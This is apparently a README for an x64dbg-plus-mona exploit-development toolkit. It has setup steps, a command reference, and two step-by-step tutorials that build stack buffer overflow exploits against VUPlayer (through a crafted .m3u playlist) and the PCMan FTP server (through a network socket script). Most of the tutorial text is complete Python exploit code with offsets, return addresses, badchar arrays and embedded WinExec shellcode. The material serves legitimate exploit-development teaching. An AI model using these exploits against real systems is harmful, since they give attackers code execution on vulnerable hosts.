Do you want to use x64dbg instead of immunity debugger?
Please, consider make a donation: https://github.com/sponsors/therealdreg
Just download x64dbg-exploiting (x64dbg + mona + deps + python 2 installers for windows + others plugins):
https://github.com/therealdreg/x64dbg-exploiting/releases/download/1.1/x64dbg-exploitingv1.1.zip
Doc + exploits + programs vulns:
WARNING: Use ASCII PATHs for installation of all things.
unzip in a ASCII PATH folder (I use: C:)
Python installers are included in the x64dbg-exploiting .zip package
Install python-2.7.11.msi (I use C:\Python27)
Install python-2.7.11.amd64.msi (I use C:\Python27x64)
Set ENV PYTHON PATH in installation:
Done!
Try it!
Open x64dbg\release\x32\x32dbg.exe
Open x64dbg\release\x64\x64dbg.exe
File -> Open -> Debug an executable
Go to Log
Select Python in command line
Write in command line:
import mona
And now write:
mona.mona("modules")
For help:
mona.mona("help")
Available commands and parameters :
? / eval | Evaluate an expression
assemble / asm | Convert instructions to opcode. Separate multiple instructions with #
bpseh / sehbp | Set a breakpoint on all current SEH Handler function pointers
breakfunc / bf | Set a breakpoint on an exported function in on or more dll's
breakpoint / bp | Set a memory breakpoint on read/write or execute of a given address
bytearray / ba | Creates a byte array, can be used to find bad characters
calltrace / ct | Log all CALL instructions
compare / cmp | Compare contents of a binary file with a copy in memory
config / conf | Manage configuration file (mona.ini)
copy / cp | Copy bytes from one location to another
deferbp / bu | Set a deferred breakpoint
dump | Dump the specified range of memory to a file
egghunter / egg | Create egghunter code
encode / enc | Encode a series of bytes
filecompare / fc | Compares 2 or more files created by mona using the same output commands
find / f | Find bytes in memory
findmsp / findmsf | Find cyclic pattern in memory
findwild / fw | Find instructions in memory, accepts wildcards
fwptr / fwp | Find Writeable Pointers that get called
geteat / eat | Show EAT of selected module(s)
getiat / iat | Show IAT of selected module(s)
getpc | Show getpc routines for specific registers
gflags / gf | Show current GFlags settings from PEB.NtGlobalFlag
header | Read a binary file and convert content to a nice 'header' string
heap | Show heap related information
help | show help
hidedebug / hd | Attempt to hide the debugger
info | Show information about a given address in the context of the loaded application
infodump / if | Dumps specific parts of memory to file
jmp / j | Find pointers that will allow you to jump to a register
jop | Finds gadgets that can be used in a JOP exploit
kb / kb | Manage Knowledgebase data
modules / mod | Show all loaded modules and their properties
noaslr | Show modules that are not aslr or rebased
nosafeseh | Show modules that are not safeseh protected
nosafesehaslr | Show modules that are not safeseh protected, not aslr and not rebased
offset | Calculate the number of bytes between two addresses
pageacl / pacl | Show ACL associated with mapped pages
pattern_create / pc | Create a cyclic pattern of a given size
pattern_offset / po | Find location of 4 bytes in a cyclic pattern
peb / peb | Show location of the PEB
rop | Finds gadgets that can be used in a ROP exploit and do ROP magic with them
ropfunc | Find pointers to pointers (IAT) to interesting functions that can be used in your ROP chain
seh | Find pointers to assist with SEH overwrite exploits
sehchain / exchain | Show the current SEH chain
skeleton | Create a Metasploit module skeleton with a cyclic pattern for a given type of exploit
stackpivot | Finds stackpivots (move stackpointer to controlled area)
stacks | Show all stacks for all threads in the running application
string / str | Read or write a string from/to memory
suggest | Suggest an exploit buffer structure
teb / teb | Show TEB related information
unicodealign / ua | Generate venetian alignment code for unicode stack buffer overflow
update / up | Update mona to the latest version
<b>Want more info about a given command ? Run !mona help <command></b>
Find jmp esp:
mona.mona("jmp -r esp")
Find jmp esp in all modules:
mona.mona("jmp -r esp -m *")
bytearray -cpb example:
mona.mona('bytearray -cpb "\\x00\\x0A"')
compare example:
mona.mona('compare -f C:\\logs\\VUPlayer\\bytearray.bin -a ESP')
Check supported commands in x64dbg:
Find multiple instructions:
- push ecx
- mov ebx,eax
- xor ecx, ecx
mona.mona("findwild -s push ecx#mov ebx,eax#xor ecx, ecx")
Find multiple instructions in a module (push esp * ret):
mona.mona("findwild -m nasm-2.15.05-installer-x86.exe -s push esp#*#ret")
If these README-steps dont works for you:
- try using my paths
- try disabling Antivirus (Defender)
- check if you are in command line Python (low right part)
- try delete some plugin in plugins\ & run again...
- delete the PYTHONPATH from your Environment Variables. If you need use Immunity Debugger make a .bat instead:
set PYTHONPATH=C:\Python27\Lib\site-packages;C:\Python27\Lib;C:\Python27\DLLs
start ImmunityDebugger.exe
- try it in a fresh virtual machine (without python stuff installed)
- https://x64dbg.com/
- https://github.com/x64dbg/mona
- https://github.com/x64dbg/x64dbgpy
- https://github.com/x64dbg/x64dbgpylib
- https://github.com/therealdreg/xshellex
- https://github.com/Nukem9/SwissArmyKnife
- https://github.com/klks/checksec
- https://github.com/AandersonL/x64dbg-ASLR-Removal
- https://github.com/0ffffffffh/yummyPaste/tree/master/yummyPaste
- https://github.com/mrfearless/x64dbg-plugin-template-for-Visual-Studio
Improve & add better support for mona-64-bits:
- https://github.com/x64dbg/mona
- https://github.com/x64dbg/x64dbgpy
- https://github.com/x64dbg/x64dbgpylib
- Add more (well tested) useful plugins
- nobody loves me
We are going to exploit an application vulnerable to local Bof with the help of x32dbg; the vulnerable application is this one: https://www.exploit-db.com/exploits/40018 or download it directly from this github with exploits included (VUPlayer.zip)
Once the applications are installed, both the vulnerable and the debugger we would have this:
Make sure to create the logs folder inside c:
Once opened we will have to configure mona, for it, we go to log and introduce these commands:
import mona
mona.mona("help")
mona.mona("config -set workingfolder c:\\logs\\%p")
If the previous commands were successful, it should look like this
Now hit File->Open and select the vulnerable program (select the .exe, not the shortcut).
Click twice on the Run icon to open the program.
Perfect, let's start with the attack, first we must find out how many characters we have to put to overflow the stack; to do this, without leaving the log we put the following command:
mona.mona("pattern_create 2000")
Copy the output of the command and paste it into a .txt file, then change the extension to .m3u.
Now in the application that opened the debugger we click File->Open Playlist....
Press run again twice to execute the select function correctly.
Select the file we have generated before, in my case Bof.m3u
In log we execute the following command and the output will tell us how many characters we have to write to overflow the stack
mona.mona("pattern_offset EIP")
As we can see, it tells us that there are 1012 characters, taking this into account, let's start creating the exploit with the information we have
#!/usr/bin/python
import subprocess
import os
shellcode_bind_shellfer = '\x41' * 1012 # padding
print("\nfile content (size " + str(len(shellcode_bind_shellfer)) + " bytes):\n")
print(":".join("{:02x}".format(ord(c)) for c in shellcode_bind_shellfer))
f = open('evil.m3u', 'wb')
f.write(shellcode_bind_shellfer)
f.close()
For now our script only has the overflow characters, now we have to find out the memory address to jump to and then run a shellcode that will open the calculator; we are going to use the debugger plugins to locate .dll that are not protected against ASLR
We are going to restart the program so that it does not remain as it is now, unusable; we go to Debug->Restart and then twice to run
Go to Plugins->checksec->check and when it loads we will see some unprotected .dll's.
Now we are going to use mona to see if we can locate any jmp esp of a .dll and then put the shellcode at the top of the stack and then we will have the return address that we have to put after the script characters to execute the shellcode once we have it.
We go to log and execute:
mona.mona("jmp -r esp -m *")
It shows us some jmp esp but it shows us a file where all the calls to jmp esp have been saved, we are going to open it and look for one that interests us
Let's use the notepad feature to search for "ASLR: False".
After passing a few we see this; as we can see, it uses a vulnerable .dll and in the memory address there are no bytes like \x00 which are usually badchars; it looks pretty good.
We are going to update the exploit adding the address we have just taken and now there is only one thing left, locate badchars and make the shellcode
We add this to the script between the padding and the print:
shellcode_bind_shellfer += '\x9f\x53\x10\x10' # ret addr
We use mona to generate all the possible characters and then we filter the badchars; first we go to log and put this:
mona.mona("bytearray")
We copy the characters and insert them at the end of the script like this:
shellcode_bind_shellfer += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
shellcode_bind_shellfer += "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
shellcode_bind_shellfer += "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
shellcode_bind_shellfer += "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
shellcode_bind_shellfer += "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
shellcode_bind_shellfer += "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
shellcode_bind_shellfer += "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
shellcode_bind_shellfer += "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Let's check the badchars, open cmd in the Desktop and run this:
python demo_exploit.py
Now we have to go to the debugger and in the vulnerable program load the evil.m3u file generated by the exploit
Twice:
We go to log and run this to check where it stopped copying characters and discover the first badchar, the address after the -f is given to us when we do the command mona.mona("bytearray")
mona.mona('compare -f C:\\logs\\VUPlayer\\bytearray.bin -a ESP')
In the output we see that from 00 on it does not copy us, we are going to generate again all the characters but removing the 00 like this:
mona.mona('bytearray -cpb "\\x00"')
Now we copy the output again, put it in the exploit removing the previous one, put it in the vulnerable program and execute it, and so on until we have all the badchars; I am going to do it only with images to make it faster; remember to restart the program every time you put an evil.m3u
After doing this process a couple of times, we found that the badchars are 00 09 0a and 1a
When we have this we only need to find a shellcode that does not use these badchars, we have this one:
https://packetstormsecurity.com/files/156478/Windows-x86-Null-Free-WinExec-Calc.exe-Shellcode.html
Adding the shellcode to our script would be finished and it looks like this:
#!/usr/bin/python
import subprocess
import os
# Windows\x86 - Null-Free WinExec Calc.exe Shellcode (195 bytes)
# https://packetstormsecurity.com/files/156478/Windows-x86-Null-Free-WinExec-Calc.exe-Shellcode.html
shellcode_calc = '\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2\x52\xff\xd0'
shellcode_bind_shellfer = '\x41' * 1012 # padding
shellcode_bind_shellfer += '\x9f\x53\x10\x10' # ret addr
shellcode_bind_shellfer += shellcode_calc
print("\nfile content (size " + str(len(shellcode_bind_shellfer)) + " bytes):\n")
print(":".join("{:02x}".format(ord(c)) for c in shellcode_bind_shellfer))
f = open('evil.m3u', 'wb')
f.write(shellcode_bind_shellfer)
f.close()
When we put in the cmd python exploit and put the evil.m3u in the vulnerable program will open the calculator and we would be all done!
The address of the vulnerable function is 004539DA
Demo made by M4luk0
https://www.linkedin.com/in/juan-antonio-gil-chamorro-8607b3197/
Download the vuln app directly from this github with exploits included (pcman.zip)
We would have this:
Make sure to create the logs folder inside c:
Once opened we will have to configure mona, for it, we go to log and introduce these commands:
import mona
mona.mona("help")
mona.mona("config -set workingfolder c:\\logs\\%p")
If the previous commands were successful, it should look like this
Now hit File->Open and select the vulnerable program
Click four times on the Run icon to open the program
Perfect, let's start with the attack, first we must find out how many characters we have to put to overflow the stack; to do this, without leaving the log we put the following command:
mona.mona("pattern_create 3000")
Copy the output of the command and paste it into a .txt file
Now we start the script to be able to send to the FTP server the characters
#!/usr/bin/env python
from socket import *
from time import sleep
from sys import exit, exc_info
import os
os.system("ifconfig eth0 mtu 3000")
target_ip = "IP"
port = int(21)
shellcode = "b8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
print("\nshellcode content (size " + str(len(shellcode)) + " bytes):\n")
print(":".join("{:02x}".format(ord(c)) for c in shellcode))
print("\n")
target = inet_aton(target_ip)
target = inet_ntoa(target)
try:
socket = socket(AF_INET, SOCK_STREAM)
except:
print "\nError creating the network socket\n\n%s\n" % exc_info()
exit(1)
try:
print "Connecting to %s %d" % (target, port)
socket.connect((target, port))
except:
print "\nError connecting to %s\n\n%s\n" % (target, exc_info())
exit(1)
print("Connected!")
sleep(1)
print(socket.recv(1000))
sleep(1)
print("Logging as anonymous")
socket.send('USER anonymous\r\n')
sleep(1)
print(socket.recv(1024))
print("Empty password")
sleep(1)
socket.send('PASS\r\n')
sleep(1)
print(socket.recv(1024))
try:
print "Sending evil packet to %s %d (length: %d bytes), please wait a few secs...." % (target, port, len(shellcode))
socket.send(shellcode)
sleep(4)
socket.close()
except:
print "\nError sending evil packet to %s\n\n%s\n" % (target, exc_info())
exit(1)
print("\n\nDone! :-)\n")
sleep(1)
Now execute the exploit
Once finished, we go to log and type the following command to find out the offset needed for the bof
mona.mona("pattern_offset EIP")
As we can see, it tells us that there are 2011 characters, taking this into account, let's modify the script:
shellcode = '\x41' * 2011
For now our script only has the overflow characters, now we have to find out the badchars for the shellcode
First we go to log and put this:
mona.mona("bytearray")
We copy the characters and insert them at the end of the script like this:
shellcode += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
shellcode += "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
shellcode += "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
shellcode += "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
shellcode += "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
shellcode += "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
shellcode += "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
shellcode += "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Now restart the app and then run the exploit
When finished we will see if the characters were copied, go to cpu->lower left window and right click->go to->expression and set esp.
As we can see, nothing has been copied, 00 badchar
Go to log and generate another bytearray without 00 with:
mona.mona('bytearray -cpb "\\x00"')
Now we copy the output again, put it in the exploit removing the previous one, run it, and so on until we have all the badchars; I am going to do it only with images to make it faster; remember to restart the program every time you run the exploit
After doing this process a couple of times, we found that the badchars are 00 0a and 0d
When we have this we only need to find a shellcode that does not use these badchars, we have this one:
https://packetstormsecurity.com/files/156478/Windows-x86-Null-Free-WinExec-Calc.exe-Shellcode.html
Adding the shellcode to our script should look like this, now we have to find a vuln ret address
#!/usr/bin/env python
from socket import *
from time import sleep
from sys import exit, exc_info
import os
os.system("ifconfig eth0 mtu 3000")
target_ip = "10.0.2.15"
port = int(21)
shellcode = '\x41' * 2011
shellcode += '\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2\x52\xff\xd0'
print("\nshellcode content (size " + str(len(shellcode)) + " bytes):\n")
print(":".join("{:02x}".format(ord(c)) for c in shellcode))
print("\n")
target = inet_aton(target_ip)
target = inet_ntoa(target)
try:
socket = socket(AF_INET, SOCK_STREAM)
except:
print "\nError creating the network socket\n\n%s\n" % exc_info()
exit(1)
try:
print "Connecting to %s %d" % (target, port)
socket.connect((target, port))
except:
print "\nError connecting to %s\n\n%s\n" % (target, exc_info())
exit(1)
print("Connected!")
sleep(1)
print(socket.recv(1000))
sleep(1)
print("Logging as anonymous")
socket.send('USER anonymous\r\n')
sleep(1)
print(socket.recv(1024))
print("Empty password")
sleep(1)
socket.send('PASS\r\n')
sleep(1)
print(socket.recv(1024))
try:
print "Sending evil packet to %s %d (length: %d bytes), please wait a few secs...." % (target, port, len(shellcode))
socket.send(shellcode)
sleep(4)
socket.close()
except:
print "\nError sending evil packet to %s\n\n%s\n" % (target, exc_info())
exit(1)
print("\n\nDone! :-)\n")
sleep(1)
now we have to find out the memory address to jump to and then run a shellcode that will open the calculator; we are going to use the debugger plugins to locate .dll that are not protected against ASLR
We are going to restart the program so that it does not remain as it is now, unusable; we go to Debug->Restart and then four times to run
Now we are going to use mona to see if we can locate any jmp esp of a .dll and then put the shellcode at the top of the stack and then we will have the return address that we have to put after the script characters to execute the shellcode once we have it.
We go to log and execute:
mona.mona("jmp -r esp")
The address I have pointed out looks pretty good, it has no x00 and ASLR disabled, let's add it to the script
shellcode += '\x9f\x53\x10\x10' # ret addr
Let's execute the script!
Failed, our direction looked good but... what happened? let's look at the stack, bottom right of the cpu.
If we go up the stack we can see that our address was passed correctly but the start of the shellcode is higher than it should be, why? easy, the vulnerable function executes a "ret 4" that after making the return removes from the stack the next 4 bytes, how to fix this? putting 4 bytes between the return address and the shellcode.
shellcode += 'BBBB'
The final script looks like this:
#!/usr/bin/env python
from socket import *
from time import sleep
from sys import exit, exc_info
import os
os.system("ifconfig eth0 mtu 3000")
target_ip = "10.0.2.15"
port = int(21)
shellcode = '\x41' * 2011
shellcode += '\x9f\x53\x10\x10' # ret addr
shellcode += 'BBBB'
shellcode += '\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2\x52\xff\xd0'
print("\nshellcode content (size " + str(len(shellcode)) + " bytes):\n")
print(":".join("{:02x}".format(ord(c)) for c in shellcode))
print("\n")
target = inet_aton(target_ip)
target = inet_ntoa(target)
try:
socket = socket(AF_INET, SOCK_STREAM)
except:
print "\nError creating the network socket\n\n%s\n" % exc_info()
exit(1)
try:
print "Connecting to %s %d" % (target, port)
socket.connect((target, port))
except:
print "\nError connecting to %s\n\n%s\n" % (target, exc_info())
exit(1)
print("Connected!")
sleep(1)
print(socket.recv(1000))
sleep(1)
print("Logging as anonymous")
socket.send('USER anonymous\r\n')
sleep(1)
print(socket.recv(1024))
print("Empty password")
sleep(1)
socket.send('PASS\r\n')
sleep(1)
print(socket.recv(1024))
try:
print "Sending evil packet to %s %d (length: %d bytes), please wait a few secs...." % (target, port, len(shellcode))
socket.send(shellcode)
sleep(4)
socket.close()
except:
print "\nError sending evil packet to %s\n\n%s\n" % (target, exc_info())
exit(1)
print("\n\nDone! :-)\n")
sleep(1)
Restart the app and... Let's execute it!
And there it is, we've done it!
The address of the vulnerable function is 00403FB9
Demo made by M4luk0
https://www.linkedin.com/in/juan-antonio-gil-chamorro-8607b3197/